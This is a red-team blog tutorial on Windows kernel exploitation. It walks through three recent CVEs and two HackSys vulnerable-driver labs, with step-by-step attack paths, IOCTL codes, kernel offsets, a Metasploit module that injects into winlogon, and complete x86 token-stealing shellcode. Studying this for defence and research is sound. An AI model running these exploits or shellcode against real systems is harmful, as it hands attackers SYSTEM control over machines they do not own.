Post

Debugging Kernel Exploitation

Deep dive into Kernel Exploitation — CVE analysis, exploit development, token stealing shellcode, and debugging techniques

Debugging Kernel Exploitation

Hi I’m DebuggerMan, a Red Teamer. In this post I will deep dive into Kernel Exploitation — most CVEs, some analysis, and exploits.

What is Kernel Exploitation?!

Vulnerable syscalls — Kernel exploitation is the exploitation of security flaws in ring 0. The techniques used in order to exploit this kind of vulnerability are a bit different from exploiting a userland application. And when you begin, it can be a bit hard to understand. In ring 0 or in “kernel land” relies the internals of your operating system. For example a userland application pass execution to kernel land for many purposes, such hardware access or native/privileged features of your operating system.

CVE-2025-62215

Race condition -> double free -> kernel heap corruption -> privilege escalation

The root cause is a race condition: multiple threads access the same kernel object simultaneously without proper synchronization (missing lock/spinlock on the shared resource). This leads to:

  • Double Free: the kernel frees the same memory block twice, corrupting the kernel heap allocator’s internal linked list
  • Heap Corruption: the freed chunk appears twice in the free list, so two subsequent allocations return the same memory address
  • Object Overlap: the attacker places a controlled fake object in the same memory as a legitimate kernel object, gaining control over its function pointers

Attack Path

1
2
3
4
5
6
7
8
9
Thread A: NtClose(handle)        ->  kernel frees object at 0xFFFF8000
                                          | (nanosecond race window)
Thread B: NtClose(handle)        ->  kernel frees 0xFFFF8000 AGAIN (double-free)
                                          |
Attacker: NtCreateFile(...)      ->  new object allocated at 0xFFFF8000 (overlaps freed slot)
                                          |
Attacker: places fake callback   ->  kernel calls corrupted function pointer
                                          |
Token steal shellcode executes   ->  SYSTEM privileges achieved

API Calls

1. RaceAttackvoid RaceAttack(int thread_id, std::mt19937& local_rng)

Triggers the race condition using precise nanosecond timing:

  • Calls NtClose(handle) to free the kernel object
  • Immediately calls NtClose(handle) again in a tight loop (double-free)
  • Uses QueryPerformanceCounter / QueryPerformanceFrequency for nanosecond-precision timing to hit the race window
  • Calls NtCreateFile(...) to reclaim the freed memory with a controlled object

API functions used:

  • NtClose() — closes a kernel handle, triggers object deallocation
  • NtCreateFile() — creates a new kernel file object to reclaim freed memory
  • QueryPerformanceCounter() — high-resolution timestamp for race timing
  • QueryPerformanceFrequency() — timer frequency for nanosecond calculation

2. PerformHeapGroomingbool PerformHeapGrooming()

Prepares the kernel heap so the double-free lands in a predictable location:

  • Allocates 256 memory chunks via VirtualAlloc with specific patterns
  • Creates controlled fragmentation by randomly freeing 1/3 of chunks via VirtualFree
  • Fills memory with detectable byte patterns (0x41414141 + offset) to track corruption
  • Randomizes allocation sizes (base 0x1000 + random variation up to 0x200) to evade detection

API functions used:

  • VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) — allocates user-mode memory chunks
  • VirtualFree(addr, 0, MEM_RELEASE) — frees chunks to create fragmentation holes

3. CheckSystemPrivilegesbool CheckSystemPrivileges()

Verifies if exploitation succeeded by checking for SYSTEM-level access:

  • Opens the process token via OpenProcessToken
  • Queries TokenUser to check if the token SID matches SYSTEM (S-1-5-18)
  • Also checks if SeDebugPrivilege is enabled (SYSTEM indicator)
  • Called by the monitor thread every 100ms to detect success in real-time

API functions used:

  • OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)
  • GetTokenInformation(hToken, TokenUser, ...)
  • GetTokenInformation(hToken, TokenPrivileges, ...)
  • AllocateAndInitializeSid(SECURITY_NT_AUTHORITY, SECURITY_LOCAL_SYSTEM_RID)
  • EqualSid() — compares current token SID against SYSTEM SID
  • LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &luid)

4. SpawnRaceThreadsbool SpawnRaceThreads()

Orchestrates the multi-threaded race attack:

  • Spawns 16 race threads via CreateThread, each running through 3 phases:
    • Phase 0 - Probing: duplicates handles with NtDuplicateObject to map the handle table
    • Phase 1 - Race Attack: triggers the double-free via concurrent NtClose calls
    • Phase 2 - Post-Race: places controlled objects in freed kernel memory
  • Spawns 1 monitor thread that calls CheckSystemPrivileges() every 100ms
  • Threads are staggered by 2ms intervals with sub-microsecond fine-tuning
  • Times out after 8 seconds if exploitation fails

API functions used:

  • CreateThread(NULL, 0, RaceThreadProc, this, 0, NULL)
  • WaitForSingleObject(hThread, 1000)
  • Sleep(THREAD_STAGGER_MS) — staggers thread creation for timing precision

POC: CVE-2025-62215 Exploit.cpp


CVE-2024-30088

Windows Kernel TOCTOU Local Privilege Escalation

TOCTOU race -> arbitrary kernel write -> IO Ring corruption -> full R/W primitive -> token swap

The fundamental problem relates to how Windows validates user-mode pointers in kernel context. Windows relies on ProbeForRead and ProbeForWrite to validate that pointers passed from user-mode actually point to user-mode memory before the kernel accesses them. However, these probes only check at the time of the call — they don’t prevent the memory mapping from changing between the check and the use (Time-of-Check Time-of-Use).

The first vulnerability was found in a new driver called bfs.sys, where the function RtlCopyUnicodeString was being used on user-mode memory even though it’s designed only for kernel-mode buffers. This allows an attacker to copy data to an arbitrary kernel address. Unfortunately, this vulnerability wasn’t present in the version targeted by the Pwn2Own contest (23H2).

The second vulnerability (CVE-2024-30088) came from hunting for the same pattern in ntoskrnl.exe (the NT kernel). It was found in a function called AuthzBasepCopyoutInternalSecurityAttributes, which gets called through the NtQueryInformationToken syscall. Same mistake: using RtlCopyUnicodeString on user-mode memory without proper validation, allowing writes to arbitrary kernel memory locations.

AuthzBasepCopyoutInternalSecurityAttributes decompiled Decompiled view of the vulnerable function — RtlCopyUnicodeString writing to an attacker-controlled address

Attack Path

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1. Attacker calls NtQueryInformationToken(TokenSecurityAttributes)
       |
2. Kernel enters AuthzBasepCopyoutInternalSecurityAttributes
       |
3. Kernel calls ProbeForWrite on user buffer (validates pointer)
       |  (TOCTOU window - attacker remaps buffer to kernel address)
       |
4. Kernel calls RtlCopyUnicodeString -> writes "TSA://ProcUnique" (32 bytes)
   to attacker-controlled kernel address
       |
5. Attacker targets IO_RING object -> overwrites RegBuffers field
   to point to user-mode controlled address
       |
6. Collateral: CompletionUserEvent field also corrupted
   -> attacker uses first write to fix it before BSOD
       |
7. Attacker now has arbitrary kernel R/W through corrupted IO Ring
       |
8. Reads SYSTEM process token from EPROCESS, copies it over
   current process token -> SYSTEM privileges

API Calls

Triggering the vulnerability (User-Mode):

  • NtQueryInformationToken(hToken, TokenSecurityAttributes, buffer, ...) — triggers the vulnerable code path in the kernel
  • CreateThread() — spawns the racing thread that remaps the buffer during the TOCTOU window
  • VirtualAlloc() / VirtualFree() — used to remap the user-mode buffer to a kernel address during the race

Vulnerable kernel path (inside ntoskrnl.exe):

  • AuthzBasepCopyoutInternalSecurityAttributes() — the vulnerable function
  • ProbeForWrite(buffer, size, alignment) — validates the output buffer points to user-mode (the “check”)
  • RtlCopyUnicodeString(dest, src) — copies the attribute name string to the buffer (the “use”) — by this time the attacker has remapped the buffer to a kernel address

Exploitation primitives:

  • IO Ring structures (IORING_OBJECT) — targeted for corruption because they provide built-in read/write primitives
  • RegBuffers field — redirected to user-mode, giving the attacker control over IO Ring buffer registration
  • CompletionUserEvent field — must be fixed immediately to prevent BSOD

Metasploit module (cve-2024-30088.rb):

  • session.sys.process.open(pid, PROCESS_ALL_ACCESS) — opens target process handle
  • execute_dll(dll_path, result_addr, pid) — reflective DLL injection of the exploit
  • session.railgun.kernel32.WaitForSingleObject(handle, timeout) — waits for exploit DLL to complete
  • session.railgun.kernel32.GetExitCodeThread(handle) — checks if exploit succeeded
  • winlogon_process.memory.allocate(size) — allocates memory in winlogon.exe (SYSTEM process)
  • winlogon_process.memory.write(addr, shellcode) — writes payload into winlogon
  • winlogon_process.thread.create(addr, 0) — creates remote thread in winlogon.exe to execute payload

POC: CVE-2024-30088


CVE-2024-21338

The vulnerability exists in a Windows driver called appid.sys (part of the AppLocker service, which controls which applications and files users are allowed to run).

This driver is present by default in Windows 10 and Windows 11 — no external or third-party driver needs to be loaded. This makes it significantly more dangerous than traditional BYOVD (“Bring Your Own Vulnerable Driver”) techniques.

The attacker can exploit a flaw in a specific IOCTL handler inside the driver to corrupt a critical value called PreviousMode in the _KTHREAD structure (which represents the current thread in the kernel).

PreviousMode = 1 — syscall originated from User Mode (access checks enforced)

PreviousMode = 0 — syscall originated from Kernel Mode (no access checks, full access)

By setting it to 0, Windows treats every subsequent syscall as coming from the kernel itself, allowing the attacker to read from and write to any location in kernel memory — resulting in full control over the system.

Attack Path

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
1. Initial Permissions Problem
   Admin cannot open \Device\AppID -> ACL requires LOCAL SERVICE (SID: S-1-5-19)
       |
2. Token Theft (Impersonation)
   Admin opens winlogon.exe (SYSTEM) -> enumerates tokens -> finds LOCAL SERVICE
   token in svchost.exe -> calls ImpersonateLoggedOnUser() on current thread
       |
3. Open Device Handle
   Now running as LOCAL SERVICE -> NtCreateFile("\Device\AppID") succeeds
       |
4. Leak Kernel Addresses
   NtQuerySystemInformation(SystemHandleInformation) -> leaks ETHREAD address
   NtQuerySystemInformation(SystemModuleInformation) -> leaks ntoskrnl.exe base
       |
5. Find kCFG Gadget
   LoadLibraryExW("ntoskrnl.exe", DONT_RESOLVE_DLL_REFERENCES) -> loads as data
   Pattern scan for ExpProfileDelete prologue: 40 53 48 83 EC 20 48 83 79 30 00
   Calculate kernel address: ntoskrnl_base + offset
       |
6. Craft Exploit Buffer
   PreviousMode address = ETHREAD + 0x232
   Target address = PreviousMode + 0x30 (ObfDereferenceObjectWithTag offset)
   Set IOCTL buffer: FunctionPointer = ExpProfileDelete kernel address
       |
7. Send IOCTL
   NtDeviceIoControlFile(hDevice, IOCTL 0x22A018) -> invokes AipSmartHashImageFile
   Driver calls attacker's function pointer -> ExpProfileDelete executes
   ExpProfileDelete decrements value at target -> PreviousMode: 1 -> 0
       |
8. Kernel R/W Achieved
   NtReadVirtualMemory / NtWriteVirtualMemory now operate in KernelMode
   Attacker can: steal tokens, disable EDR, install rootkits, modify any process
       |
9. Cleanup
   Restore PreviousMode to 1 via NtWriteVirtualMemory (still has kernel access)
   Close handles, free memory

API Calls

Phase 1 - Token Impersonation:

  • OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, winlogon_pid) — opens winlogon.exe
  • OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken) — gets SYSTEM token
  • DuplicateHandle() — duplicates token handle for impersonation
  • ImpersonateLoggedOnUser(hLocalServiceToken) — current thread becomes LOCAL SERVICE

Phase 2 - Device Access:

  • RtlInitUnicodeString(&path, L"\\Device\\AppID")
  • InitializeObjectAttributes(&objAttr, &path, OBJ_CASE_INSENSITIVE, NULL, NULL)
  • NtCreateFile(&hDevice, GENERIC_READ | GENERIC_WRITE, ...) — opens handle to AppLocker driver

Phase 3 - Kernel Address Leaking:

  • DuplicateHandle(GetCurrentProcess(), (HANDLE)-2, ..., &hThread) — duplicates pseudo-handle (-2 = current thread) to get real handle
  • NtQuerySystemInformation(SystemHandleInformation, ...) — enumerates all handles system-wide, finds our thread handle, leaks ETHREAD kernel address
  • NtQuerySystemInformation(SystemModuleInformation, ...) — enumerates loaded kernel modules, leaks ntoskrnl.exe base address

Phase 4 - Gadget Discovery:

  • LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES) — maps ntoskrnl.exe into user-mode as data
  • IMAGE_FIRST_SECTION(pNtHeaders) — parses PE headers to locate the PAGE section
  • memcmp(pattern, &buffer[i], pattern_size) — linear scan for ExpProfileDelete prologue bytes

Phase 5 - Exploitation:

  • NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, 0x22A018, inputBuffer, bufferSize, NULL, 0) — sends crafted IOCTL to the vulnerable AipSmartHashImageFile handler
  • Inside kernel: ExpProfileDelete is called via kCFG-valid function pointer, performs lock xadd (atomic decrement) at ETHREAD + 0x232 + 0x30 offset, PreviousMode changes from 1 to 0

Phase 6 - Post-Exploitation (Kernel R/W):

  • NtReadVirtualMemory(GetCurrentProcess(), kernelAddress, ...) — reads arbitrary kernel memory (works because PreviousMode = 0)
  • NtWriteVirtualMemory(GetCurrentProcess(), kernelAddress, ...) — writes arbitrary kernel memory

Phase 7 - Cleanup:

  • NtWriteVirtualMemory(... PreviousMode address ..., 1) — restores PreviousMode to UserMode
  • NtClose(hDevice) — closes driver handle
  • FreeLibrary(userBase) — unloads ntoskrnl.exe mapping

POC: CVE-2024-21338


Windows Kernel Exploitation: Stack Overflow

Kernel Stack Overflow -> EIP Hijack -> Token Stealing Shellcode -> SYSTEM

The vulnerability exists in HackSys Extreme Vulnerable Driver (HEVD) v2.00, in the TriggerBufferOverflowStack() function. The driver allocates a fixed 2048-byte (0x800) kernel stack buffer, but copies user data into it using RtlCopyMemory() with a user-controlled size parameter and no bounds checking.

The vulnerable code pattern:

1
2
3
// KernelBuffer = 0x800 bytes on the kernel stack
// Size = comes directly from user input (NO validation)
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);

By sending more than 2048 bytes, the attacker overflows the stack buffer and overwrites the saved return address (EIP) on the kernel stack with a pointer to shellcode.

Kernel Internals: Token Stealing

Every Windows process has an access token (stored in _EPROCESS + 0xF8) that defines its security context. The SYSTEM process (PID 4) has the highest-privileged token. By copying the SYSTEM token into the current process’s _EPROCESS, the attacker’s process inherits SYSTEM privileges.

Key structure offsets (Windows 7 SP1 x86):

StructureOffsetFieldDescription
_KPCRfs:[0x124]_KTHREADPointer to current thread
_KTHREAD+0x50_EPROCESSCurrent process (via ApcState.Process)
_EPROCESS+0xB4UniqueProcessIdProcess PID
_EPROCESS+0xB8ActiveProcessLinksDoubly-linked list of all processes
_EPROCESS+0xF8TokenProcess access token

Attack Path

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
1. Allocate RWX memory for shellcode
   VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
       |
2. Copy token-stealing shellcode into RWX region
   RtlMoveMemory(ptr, shellcode, len)
       |
3. Open handle to vulnerable driver
   CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", ...)
       |
4. Build overflow buffer:
   [2080 bytes padding ("A" * 2080)] + [4-byte pointer to shellcode]
   The 2080 bytes fill the 2048-byte buffer + 32 bytes of stack frame
       |
5. Send IOCTL 0x222003 to trigger TriggerBufferOverflowStack()
   DeviceIoControl(handle, 0x222003, buffer, len, ...)
       |
6. RtlCopyMemory overflows kernel stack -> overwrites saved EIP
       |
7. Function returns -> CPU jumps to shellcode (now executing in Ring 0)
       |
8. Shellcode walks _EPROCESS linked list:
   fs:[0x124] -> _KTHREAD -> _EPROCESS -> ActiveProcessLinks
   Walks list comparing UniqueProcessId until PID == 4 (SYSTEM)
       |
9. Copies SYSTEM token to current process:
   current_EPROCESS->Token = system_EPROCESS->Token
       |
10. Shellcode returns cleanly -> user-mode cmd.exe spawns with SYSTEM token

Token Stealing Shellcode (x86)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pushad                                  ; Save all registers
xor eax, eax                           ; EAX = 0
mov eax, fs:[eax + 0x124]              ; EAX = _KPCR.CurrentThread (_KTHREAD)
mov eax, [eax + 0x50]                  ; EAX = _KTHREAD.ApcState.Process (_EPROCESS)
mov ecx, eax                           ; ECX = current process _EPROCESS
mov edx, 0x4                           ; EDX = SYSTEM PID (always 4)

find_system:
  mov eax, [eax + 0xB8]                ; EAX = ActiveProcessLinks.Flink (next process)
  sub eax, 0xB8                        ; Adjust back to _EPROCESS base
  cmp [eax + 0xB4], edx                ; Compare UniqueProcessId with 4
  jne find_system                      ; Loop until SYSTEM process found

mov edx, [eax + 0xF8]                  ; EDX = SYSTEM process Token
mov [ecx + 0xF8], edx                  ; Overwrite current process Token
popad                                  ; Restore all registers
pop ebp                                ; Restore stack frame
ret 0x8                                ; Return, clean 8 bytes from stack

API Calls

Phase 1 - Shellcode Preparation:

  • VirtualAlloc(NULL, len, 0x3000, 0x40) — allocates RWX memory (PAGE_EXECUTE_READWRITE) to bypass DEP
  • RtlMoveMemory(ptr, shellcode, len) — copies shellcode bytes into the executable region

Phase 2 - Driver Communication:

  • CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, ...) — opens device handle via symbolic link
  • DeviceIoControl(handle, 0x222003, buffer, len, ...) — sends IOCTL 0x222003 which routes to BufferOverflowStackIoctlHandler() -> calls TriggerBufferOverflowStack() with user buffer

Phase 3 - Inside the Kernel:

  • RtlCopyMemory(KernelBuffer, UserBuffer, Size) — the vulnerable copy, Size is user-controlled
  • EIP overwrite — function epilogue pops the corrupted return address, CPU jumps to shellcode
  • Shellcode accesses fs:[0x124], walks _KPCR -> _KTHREAD -> _EPROCESS chain
  • Token copy: *(current_EPROCESS + 0xF8) = *(system_EPROCESS + 0xF8)

Phase 4 - Post-Exploitation:

  • Popen("start cmd", shell=True) — spawns cmd.exe which inherits the stolen SYSTEM token

WinDbg Verification:

  • r — display registers (shows EIP = 0x41414141 during crash test)
  • !process 0 0 — list all processes and their token addresses
  • ed nt!Kd_Default_Mask 8 — enable debug print output from driver
  • .reload — reload symbols after driver load

Exploit Development: Arbitrary Overwrites (Write-What-Where)

Arbitrary Write -> HalDispatchTable Overwrite -> NtQueryIntervalProfile -> Token Stealing -> SYSTEM

The vulnerability exists in HEVD’s TriggerArbitraryOverwrite() function. The driver receives a user-supplied structure containing two pointers (What and Where) and performs an unchecked write:

1
2
3
4
5
6
7
8
// The vulnerable operation - no validation on What or Where
*(Where) = *(What);

// The structure is defined as:
typedef struct _WRITE_WHAT_WHERE {
    PULONG_PTR What;    // pointer to the VALUE to write
    PULONG_PTR Where;   // pointer to the TARGET address to write to
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

The driver fails to call ProbeForRead() / ProbeForWrite() to validate that both pointers reside in user-mode. This allows the attacker to write an arbitrary value to an arbitrary kernel address.

Kernel Internals: HalDispatchTable

The Hardware Abstraction Layer (HAL) uses a dispatch table (nt!HalDispatchTable) containing function pointers for hardware-related operations. The undocumented function NtQueryIntervalProfile() internally calls KeQueryIntervalProfile(), which invokes the function pointer at HalDispatchTable + 0x4.

By overwriting HalDispatchTable + 0x4 with a pointer to user-mode shellcode, calling NtQueryIntervalProfile() causes the kernel to execute the shellcode in Ring 0:

1
2
3
4
User-mode                      Kernel-mode
NtQueryIntervalProfile() --> KeQueryIntervalProfile() --> call [HalDispatchTable + 0x4]
                                                              | (overwritten)
                                                         shellcode executes in Ring 0

Attack Path

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
1. Allocate RWX memory and copy token-stealing shellcode
   VirtualAlloc() + RtlMoveMemory()
       |
2. Find ntoskrnl.exe base address in kernel memory
   EnumDeviceDrivers() -> iterate with GetDeviceDriverBaseNameA()
   until "ntkrnl" found -> save base_address
       |
3. Load ntoskrnl.exe in user-mode as data file
   LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES)
       |
4. Resolve HalDispatchTable in user-mode copy
   GetProcAddress(kernel_handle, "HalDispatchTable") -> user_hal_address
       |
5. Calculate real kernel address of HalDispatchTable + 0x4
   kernel_hal = user_hal - user_base + kernel_base + 0x4
       |
6. Build Write-What-Where structure:
   What  = pointer to shellcode address (user-mode)
   Where = HalDispatchTable + 0x4 (kernel-mode)
       |
7. Open handle to vulnerable driver
   CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", ...)
       |
8. Send IOCTL 0x0022200B to trigger TriggerArbitraryOverwrite()
   DeviceIoControl(handle, 0x0022200B, &write_what_where, 0x8, ...)
       |
9. Driver executes: *(Where) = *(What)
   HalDispatchTable[1] now points to shellcode in user memory
       |
10. Trigger the overwritten function pointer
    NtQueryIntervalProfile(0x1234, &result)
       |
11. Kernel calls HalDispatchTable+0x4 -> jumps to shellcode (Ring 0)
    Shellcode steals SYSTEM token -> copies to current process
       |
12. cmd.exe spawns with SYSTEM privileges

Token Stealing Shellcode (x86)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
nop                                     ; NOP sled (alignment)
nop
nop
nop
pushad                                  ; Save all registers
xor eax, eax                           ; EAX = 0
mov eax, fs:[eax + 0x124]              ; EAX = _KPCR.CurrentThread
mov eax, [eax + 0x50]                  ; EAX = _EPROCESS (current)
mov ecx, eax                           ; ECX = current process
mov edx, 0x4                           ; EDX = SYSTEM PID

find_system:
  mov eax, [eax + 0xB8]                ; Walk ActiveProcessLinks.Flink
  sub eax, 0xB8                        ; Back to _EPROCESS base
  cmp [eax + 0xB4], edx                ; Check PID == 4?
  jne find_system                      ; Loop until found

mov edx, [eax + 0xF8]                  ; EDX = SYSTEM Token
mov [ecx + 0xF8], edx                  ; Overwrite current Token
popad                                  ; Restore registers
xor eax, eax                           ; EAX = 0 (STATUS_SUCCESS)
add esp, 0x24                          ; Fix stack (clean up kernel frame)
pop ebp                                ; Restore base pointer
ret 0x8                                ; Return, clean 8 bytes

API Calls

Phase 1 - Shellcode Preparation:

  • VirtualAlloc(NULL, len, 0x3000, 0x40) — allocates RWX memory for shellcode
  • RtlMoveMemory(ptr, shellcode, len) — copies shellcode to executable region

Phase 2 - Kernel Module Discovery:

  • EnumDeviceDrivers(byref(base_array), 1024, byref(needed)) — enumerates all loaded kernel drivers
  • GetDeviceDriverBaseNameA(base_address, name_buffer, 48) — retrieves filename for each driver, used to find ntoskrnl.exe
  • LoadLibraryExA("ntoskrnl.exe", None, DONT_RESOLVE_DLL_REFERENCES) — loads ntoskrnl.exe into user-mode as data

Phase 3 - HalDispatchTable Resolution:

  • GetProcAddress(kernel_handle, "HalDispatchTable") — resolves user-mode address of HalDispatchTable
  • Address translation: kernel_hal = (user_hal - user_base) + kernel_base, target = kernel_hal + 0x4 (i.e. HalDispatchTable[1])

Phase 4 - Trigger the Write:

  • CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, ...) — opens driver handle
  • DeviceIoControl(handle, 0x0022200B, &wwwStruct, 0x8, ...) — sends IOCTL with the WRITE_WHAT_WHERE structure
  • Inside kernel: TriggerArbitraryOverwrite() executes *(Where) = *(What), overwrites HalDispatchTable + 0x4 with shellcode pointer

Phase 5 - Execute via HAL Dispatch:

  • NtQueryIntervalProfile(0x1234, byref(c_ulong())) — calls the undocumented syscall:
    • NtQueryIntervalProfile() -> KeQueryIntervalProfile() -> call [nt!HalDispatchTable + 0x4]
    • Since we overwrote that entry, the kernel jumps to our shellcode
    • Shellcode runs in Ring 0, steals SYSTEM token

Phase 6 - Post-Exploitation:

  • Popen("start cmd", shell=True) — spawns cmd.exe with inherited SYSTEM token

IOCTL Code Calculation:

1
2
Stack overflow IOCTL:     0x222003
Arbitrary write IOCTL:    0x222003 + 0x8 = 0x0022200B

Each subsequent IOCTL handler is offset by 4 in the dispatch table, and the arbitrary write is 2 entries after stack overflow.


Follow me on X: @0XDbgMan

This post is licensed under CC BY 4.0 by the author.